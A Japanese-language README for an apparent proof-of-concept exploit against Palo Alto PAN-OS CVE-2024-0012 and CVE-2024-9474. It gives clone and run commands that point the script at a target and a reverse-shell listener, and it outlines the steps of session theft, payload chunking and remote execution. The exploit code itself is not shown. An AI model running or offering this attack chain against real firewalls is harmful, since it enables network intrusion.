🚀 CVE-2024-0012 & CVE-2024-9474 (Palo Alto PAN-OS) エクスプロイト 🔐

🛡️ 説明

このProof-of-Concept（PoC）スクリプトは、Palo Alto PAN-OSの脆弱性、具体的には CVE-2024-0012 と CVE-2024-9474 を標的とし、認証バイパス、ペイロード生成、チャンク配信、シームレスなコマンド実行を含むエクスプロイトプロセスを自動化します。

⚠️ このスクリプトは教育目的および許可されたペネトレーションテスト専用です。不正使用は違法です。

🔍 対象となる脆弱性

CVE-2024-0012

タイプ: 認証バイパス
影響: 管理インターフェースへの不正アクセスを可能にします。
深刻度: 🚨 緊急

CVE-2024-9474

タイプ: コマンド実行と権限昇格
影響: リモートの攻撃者が任意のコマンドを実行できるようにします。
深刻度: 🔥 中

🧑‍💻 使用方法

🛠️ リポジトリをクローン

git clone https://github.com/TalatumLabs/CVE-2024-0012_CVE-2024-9474_PoC.git
cd CVE-2024-0012_CVE-2024-9474_PoC

🚀 スクリプトを実行

python -W ignore poc.py <TARGET_URL> <LISTENER_IP> <LISTENER_PORT>

引数:

<TARGET_URL>: http または https を含むターゲットURL。
<LISTENER_IP>: リバースシェルリスナーのIPアドレス。
<LISTENER_PORT>: リバースシェルリスナーのポート。

💡 例

python -W ignore poc.py https://target.pan-os-system.com 192.168.1.100 4444

💻 エクスプロイトデモ

https://github.com/user-attachments/assets/12ca7632-e5d2-488f-b644-6e278651a2f5

⚙️ 動作の仕組み

このPoCの詳細な解説と技術的洞察については、こちらの Mediumの解説記事をご覧ください！

🔍 脆弱性の確認: ターゲットがCVE-2024-0012およびCVE-2024-9474に対して脆弱であることを確認します。
🛡️ PHPSESSIDの抽出: さらなる悪用のためにセッションIDを取得します。
✨ ペイロードの生成: 二重エンコードされたリバースシェルペイロードを作成します。
📦 チャンクのアップロード: ペイロードのチャンクをターゲットサーバーに送信します。
🔗 ペイロードの結合: ターゲットシステム上でペイロードを再構築します。
⚡ コマンドの実行: リバースシェルをデコードして実行します。

⚠️ 法的免責事項

このPoCは、教育目的および許可されたセキュリティテスト専用です。このツールの不正使用は固く禁止されています。著者は、このツールの誤用または損害について一切の責任を負いません。

🧑‍🎓 著者

ghostxploiter

CVE-2024-0012_CVE-2024-9474_PoC

人気